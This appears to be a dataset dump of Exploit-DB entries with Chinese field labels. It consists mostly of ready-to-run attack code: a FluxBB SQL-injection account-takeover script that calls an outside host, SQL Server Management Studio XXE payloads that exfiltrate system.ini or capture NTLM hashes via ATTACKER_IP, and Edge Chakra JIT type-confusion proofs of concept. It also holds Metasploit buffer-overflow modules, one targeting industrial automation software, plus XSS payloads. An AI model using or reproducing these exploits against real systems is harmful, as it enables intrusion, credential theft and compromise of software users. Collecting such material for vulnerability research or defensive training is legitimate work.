QLWD/code_shield huggingface dataset:
标题: FluxBB < 1.5.6 - SQL Injection EDB-ID: 45595 CVE: 2014-10029 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-11-21 漏洞利用脚本: #!/usr/bin/env python
# Friday, November 21, 2014 - secthrowaway () safe-mail net
# FluxBB <= 1.5.6 SQL Injection
# make sure that your IP is reachable

url  = 'http://target.tld/forum/'
user = 'user' # dummy account
pwd  = 'test' 

import urllib, sys, smtpd, asyncore, re, sha
from email import message_from_string
from urllib2 import Request, urlopen

ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
bindip = '0.0.0.0'

def stage1(sql):
 if len(sql) > 80:
  sys.exit('SQL too long, max 80 chars')
 print "1st stage: %s (%d chars)" % (sql, len(sql))
 r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid), data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % (urllib.quote(sql), pwd), headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie": cookie})).read()
 if 'An email has been sent to the specified address' not in r:
  sys.exit('err')

def stage3(key):
 print "3rd stage, using key: %s" % key
 r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key), headers={"User-agent": ua})).read()
 if 'Your password has been updated' in r:
  print 'success'
 else:
  print 'err'

class stage2_smtp(smtpd.SMTPServer):
 def process_message(self, peer, mailfrom, rcpttos, data):
  print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos
  key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True), re.MULTILINE)
  if key is not None: 
   raise asyncore.ExitNow(key.group(2))
  return

def login():
 print "logging in"
 r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua}))
 try:
  t = r.info()['set-cookie'].split(';')[0]
  return (t.split('=')[1].split('%7C')[0], t)
 except:
  sys.exit('unable to login, check user/pass')

uid, cookie = login()

email_domain = urlopen(Request('http://tns.re/gen')).read()
print "using domain: %s" % email_domain

#this will change your password to your password :)
stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new(pwd).hexdigest(), uid, email_domain))

#this will change admin's (uid=2) password "123456"
#stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new("123456").hexdigest(), 2, email_domain))

try:
 print "2nd stage: waiting for mail"
 server = stage2_smtp((bindip, 25), None)
 asyncore.loop()
except asyncore.ExitNow, key:
 stage3(key) URL: https://www.exploit-db.com/exploits/45595
标题: Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection EDB-ID: 45585 CVE: 2018-8527 类型: LOCAL 平台: WINDOWS 发布日期: 2018-10-11 漏洞利用脚本: # Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx) 
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4) 
# CVE: CVE-2018-8527
# References:
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XEL-FILETYPE-XML-INJECTION-CVE-2018-8527.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1131/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527) 

# Description
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations 
# of Microsoft SQL Server Management Studio. User interaction is required to exploit this vulnerability 
# in that the target must visit a malicious page or open a malicious file.
# The specific flaw exists within the handling of XEL files. Due to the improper restriction 
# of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser 
# to access the URI and embed the contents back into the XML document for further processing. An attacker 
# can leverage this vulnerability to disclose information in the context of the current process.

# [Exploit/POC]

python -m SimpleHTTPServer (listens Port 8000)

"evil.xel" (Extended Event Log File)

<?xml version="1.0"?>
<!DOCTYPE flavios [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

"payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# OR 
# Steal NTLM hashes
# Kali linux

/usr/share/responder/tools

responder -I eth0 -rv

"evil.xel"

<?xml version="1.0"?>
<!DOCTYPE dirty0tis [ 
<!ENTITY % dtd SYSTEM "\\ATTACKER_IP\unknown">
%dtd;]>

Result: Forced authentication and NTLM hash captured URL: https://www.exploit-db.com/exploits/45585
标题: Microsoft SQL Server Management Studio 17.9 - '.xmla' XML External Entity Injection EDB-ID: 45587 CVE: 2018-8532 类型: LOCAL 平台: WINDOWS 发布日期: 2018-10-11 漏洞利用脚本: # Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xmla' XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx) 
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4) 
# CVE: CVE-2018-8532
# References:
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XMLA-FILETYPE-XML-INJECTION-CVE-2018-8532.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1132/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8532
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8532) 
# so this is marked as verified

# Security Issue
# This vulnerability allows remote attackers to disclose sensitive information on 
# vulnerable installations of Microsoft SQL Server Management Studio. User interaction is required to 
# exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

# The specific flaw exists within the handling of XMLA files. Due to the improper restriction of 
# XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser to 
# access the URI and embed the contents back into the XML document for further processing. An attacker can leverage 
# this vulnerability to disclose information in the context of the current process.

# PoC
# 1) python -m SimpleHTTPServer
# 2) "test.xmla"

<?xml version="1.0"?>
<!DOCTYPE tastyexploits [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 3) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# Result:

Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /payload.dtd HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 - URL: https://www.exploit-db.com/exploits/45587
标题: Microsoft SQL Server Management Studio 17.9 - XML External Entity Injection EDB-ID: 45583 CVE: 2018-8533 类型: LOCAL 平台: WINDOWS 发布日期: 2018-10-11 漏洞利用脚本: # Exploit Title: Microsoft SQL Server Management Studio 17.9 - XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx) 
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4) 
# CVE: CVE-2018-8533
# References: 
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-REGSRVR-FILES-XML-INJECTION-CVE-2018-8533.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1133/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8533
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8533) 

# Description
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable 
# installations of Microsoft SQL Server Management Studio. User interaction is required to 
# exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

# The specific flaw exists within the handling of REGSRVR files. Due to the improper 
# restriction of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the 
# XML parser to access the URI and embed the contents back into the XML document for further processing.
# An attacker can leverage this vulnerability to disclose information in the context of the current process.

# Exploit/POC

# 1) python -m SimpleHTTPServer

# 2) "POC.xml"

<?xml version="1.0"?>
<!DOCTYPE injectme [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 3) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# Result:

Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /payload.dtd HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 - URL: https://www.exploit-db.com/exploits/45583
标题: Microsoft Edge Chakra JIT - Type Confusion EDB-ID: 45572 CVE: 2018-8467 类型: DOS 平台: WINDOWS 发布日期: 2018-10-09 漏洞利用脚本: /*
The switch statement only handles Js::TypeIds_Array but not Js::TypeIds_NativeIntArray and Js::TypeIds_NativeFloatArray. So for example, a native float array can be considered as of type ObjectType::Object under certain circumstances where "objValueType.IsLikelyArrayOrObjectWithArray()" is not fulfilled. As it doesn't install any array type conversion check for a definite object, handling a native array as a definite object can lead to type confusion.

void
GlobOpt::UpdateObjPtrValueType(IR::Opnd * opnd, IR::Instr * instr)
{
    ...
    if (newValueType == ValueType::Uninitialized)
    {
        switch (typeId)
        {
        default:
            if (typeId > Js::TypeIds_LastStaticType)
            {
                Assert(typeId != Js::TypeIds_Proxy);
                if (objValueType.IsLikelyArrayOrObjectWithArray())
                {
                    // If we have likely object with array before, we can't make it definite object with array
                    // since we have only proved that it is an object.
                    // Keep the likely array or object with array.
                }
                else
                {
                    newValueType = ValueType::GetObject(ObjectType::Object);
                }
            }
            break;
        case Js::TypeIds_Array:
            // Because array can change type id, we can only make it definite if we are doing array check hoist
            // so that implicit call will be installed between the array checks.
            if (!DoArrayCheckHoist() ||
                (currentBlock->loop
                ? !this->ImplicitCallFlagsAllowOpts(currentBlock->loop)
                : !this->ImplicitCallFlagsAllowOpts(this->func)))
            {
                break;
            }
            if (objValueType.IsLikelyArrayOrObjectWithArray())
            {
                // If we have likely no missing values before, keep the likely, because, we haven't proven that
                // the array really has no missing values
                if (!objValueType.HasNoMissingValues())
                {
                    newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
                }
            }
            else
            {
                newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
            }
            break;
        }
    }
    ...
}

PoC:
*/

function opt(arr, arr2) {
    arr[0] = 1.1;

    arr2.method(arr2[0] = {});

    arr[0] = 2.3023e-320;
}

Object.prototype.method = () => {};

let arr = [1.1, 2.2];
for (let i = 0; i < 100; i++) {
    opt(arr, 1);  // Feeding an integer to make the value type LikelyCanBeTaggedValue_Int_PrimitiveOrObject
    opt(arr, arr.concat());
}

setTimeout(() => {
    opt(arr, arr);
    alert(arr);
}, 100);  // Waiting for the JIT server to finish its job. URL: https://www.exploit-db.com/exploits/45572
标题: Delta Electronics Delta Industrial Automation COMMGR 1.08 - Stack Buffer Overflow (Metasploit) EDB-ID: 45574 CVE: 2018-10594 类型: REMOTE 平台: WINDOWS 发布日期: 2018-10-09 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack based buffer overflow in Delta Electronics Delta Industrial
        Automation COMMGR 1.08. The vulnerability exists in COMMGR.exe when handling specially
        crafted packets. This module has been tested successfully on Delta Electronics Delta
        Industrial Automation COMMGR 1.08 over
          Windows XP SP3,
          Windows 7 SP1, and
          Windows 8.1.
      },
      'Author'         =>
        [
          'ZDI',        # Initial discovery
          't4rkd3vilz', # PoC
          'hubertwslin' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2018-10594' ],
          [ 'BID', '104529' ],
          [ 'ZDI', '18-586' ],
          [ 'ZDI', '18-588' ],
          [ 'EDB', '44965' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-172-01' ]
        ],
      'Payload'        =>
        {
          'Space'          => 640,
          'DisableNops'    => true,
          'BadChars'       => "\x00"
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'COMMGR 1.08 / Windows Universal',
            {
              'Ret'    => 0x00401e14, # p/p/r COMMGR.exe
              'Offset' => 4164
            }
          ],
        ],
      'DisclosureDate' => 'Jul 02 2018',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(502)
      ])
  end

  def exploit
    data =  rand_text_alpha(target['Offset'])
    data << "\xeb\x27\x90\x90"    # jmp short $+27 to the NOP sled
    data << [target.ret].pack("V")
    data << make_nops(40)
    data << payload.encoded

    print_status("Trying target #{target.name}, sending #{data.length} bytes...")
    connect
    sock.put(data)
    disconnect
  end
end URL: https://www.exploit-db.com/exploits/45574
标题: Microsoft Edge Chakra JIT - 'BailOutOnInvalidatedArrayHeadSegment' Check Bypass EDB-ID: 45571 CVE: 2018-8466 类型: DOS 平台: WINDOWS 发布日期: 2018-10-09 漏洞利用脚本: /*
The BailOutOnInvalidatedArrayHeadSegment check uses the JavascriptArray::GetArrayForArrayOrObjectWithArray method to check whether the given object is an array. If it's not an array, it will decide to skip the check which means that no bailout will happen. The JavascriptArray::GetArrayForArrayOrObjectWithArray method determines it by comparing the vtable of the given object like the following.

        if(vtable == VirtualTableInfo<JavascriptArray>::Address)
        {
            *arrayTypeIdRef = TypeIds_Array;
        }
        else if(vtable == VirtualTableInfo<JavascriptNativeIntArray>::Address)
        {
            *arrayTypeIdRef = TypeIds_NativeIntArray;
        }
        else if(vtable == VirtualTableInfo<JavascriptNativeFloatArray>::Address)
        {
            *arrayTypeIdRef = TypeIds_NativeFloatArray;
        }
        else
        {
            return nullptr;
        }

        if(!array)
        {
            array = FromVar(var);
        }
        return array;

Since wrapping an object with the CrossSite class replaces the vtable of the object, this can be used to bypass it.

PoC:
*/

function opt(x_obj, arr) {
    arr[0] = 1.1;
    
    x_obj.a = arr;  // Replacing the vtable.
    arr['leng' + 'th'] = 0;  // The length changes, but the BailOutOnInvalidatedArrayHeadSegment check will think that it's not an array. So no bailout will happen.

    arr[0] = 2.3023e-320;
}

let x_obj = document.body.appendChild(document.createElement('iframe')).contentWindow.eval('({})');
let arr = [1.1, 1.1];

for (let i = 0; i < 10000; i++) {
    opt(x_obj, arr.concat());
}

opt(x_obj, arr);

arr[1] = {};  // in-place type conversion
alert(arr); URL: https://www.exploit-db.com/exploits/45571
标题: Zahir Enterprise Plus 6 - Stack Buffer Overflow (Metasploit) EDB-ID: 45560 CVE: 2018-17408 类型: LOCAL 平台: WINDOWS 发布日期: 2018-10-08 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Zahir Enterprise Plus 6 Stack Buffer Overflow",
      'Description'    => %q{
       This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below.
       The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters
       via Import from other File. This results in overwriting a structured exception handler record.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'f3ci',       # initial discovery
          'modpr0be'    # poc and Metasploit Module
        ],
      'References'      =>
        [
          [ 'CVE', '2018-17408' ],
          [ 'EDB', '45505' ]
        ],
      'Platform'        => 'win',
      'Targets'         =>
        [
          ['Zahir Enterprise Plus 6 <= build 10b',
            {
              #P/P/R from vclie100.bpl (C:\Program Files\Zahir Personal 6 - Demo Version\vclie100.bpl)
              'Ret'     => 0x52016661,
              'Offset'  => 3041
            }
          ]
        ],
      'Payload'         =>
        {
          'Space'       => 5000,
          'BadChars'    => "\x00\x0a\x0d\x22\x2c",
          'DisableNops'     => true
        },
      'DisclosureDate'  => 'Sep 28 2018',
      'DefaultTarget'   => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'The malicious file name', 'msf.csv'])
    ])
  end

  def exploit
    buf = rand_text_alpha_upper(target['Offset'])
    buf << "\r\n"   # crash chars
    buf << rand_text_alpha_upper(380) # extra chars to hit the offset
    buf << generate_seh_record(target.ret)
    buf << payload.encoded

    file_create(buf)
  end
end URL: https://www.exploit-db.com/exploits/45560
标题: Git Submodule - Arbitrary Code Execution (PoC) EDB-ID: 45548 CVE: 2018-17456 类型: LOCAL 平台: LINUX 发布日期: 2018-10-05 漏洞利用脚本: These releases fix a security flaw (CVE-2018-17456), which allowed an
attacker to execute arbitrary code by crafting a malicious .gitmodules
file in a project cloned with --recurse-submodules.

When running "git clone --recurse-submodules", Git parses the supplied
.gitmodules file for a URL field and blindly passes it as an argument
to a "git clone" subprocess.  If the URL field is set to a string that
begins with a dash, this "git clone" subprocess interprets the URL as
an option.  This can lead to executing an arbitrary script shipped in
the superproject as the user who ran "git clone".

In addition to fixing the security issue for the user running "clone",
the 2.17.2, 2.18.1 and 2.19.1 releases have an "fsck" check which can
be used to detect such malicious repository content when fetching or
accepting a push. See "transfer.fsckObjects" in git-config(1).

Credit for finding and fixing this vulnerability goes to joernchen
and Jeff King, respectively.

P.S. Folks at Microsoft tried to follow the known exploit recipe on
Git for Windows (but not Cygwin or other Git implementations on
Windows) and found that the recipe (or its variants they can think
of) would not make their system vulnerable.  This is due to the fact
that the type of submodule path require by the known exploit recipe
cannot be created on Windows.  Nonetheless, it is possible we have
missed some exploitation path and users are encouraged to upgrade. URL: https://www.exploit-db.com/exploits/45548
标题: WUZHICMS 2.0 - Cross-Site Scripting EDB-ID: 45514 CVE: 2018-17832 类型: WEBAPPS 平台: PHP 发布日期: 2018-10-01 漏洞利用脚本: # Title: WUZHICMS 2.0 - Cross-Site Scripting 
# Author: Felipe "Renzi" Gabriel
# Date: 2018-10-01
# Vendor: http://www.wuzhicms.com
# Software: WUZHICMS 2.0
# CVE: CVE-2018-17832
 
# Technical Details & Description:
# A Cross Site Scripting vulnerability has been discovered in the WUZHICMS 2.0  web-application.
# The vulnerability is located in the 'v' and  'f' parameters of the`index.php` action GET method request.
   
# PoC

http://Target/index.php?v="><marquee><h1>RENZI</h1></marquee>

http://Target/index.php?f="><marquee><h1>RENZI</h1></marquee> URL: https://www.exploit-db.com/exploits/45514
标题: RICOH MP C1803 JPN Printer - Cross-Site Scripting EDB-ID: 45526 CVE: 2018-17310 2018-17313 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-10-03 漏洞利用脚本: # Exploit Title: RICOH MP C1803 JPN Printer - Cross-Site Scripting
# Date: 2018-09-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link : https://www.ricoh.co.jp/mfp/mp_c/1803/
# Software : RICOH Printer
# Product Version:  MP C1803 JPN
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection and Stored XSS
# Affected Products: RICOH MP C1803 JPN, RICOH MP C307
# CVE : CVE-2018-17310, CVE-2018-17313

# On the RICOH MP C1803 JPN printer, HTML Injection and Stored XSS vulnerabilities have 
# been discovered in the area of adding addresses via the entryNameIn parameter to /web/entry/en/address/adrsSetUserWizard.cgi.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://Target/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 209
Cookie: risessionid=125831398474617; cookieOnOffChecker=on; wimsesid=911065987
Connection: close

mode=ADDUSER&step=BASE&wimToken=847703007&entryIndexIn=00002&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryReadNameIn=&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1 URL: https://www.exploit-db.com/exploits/45526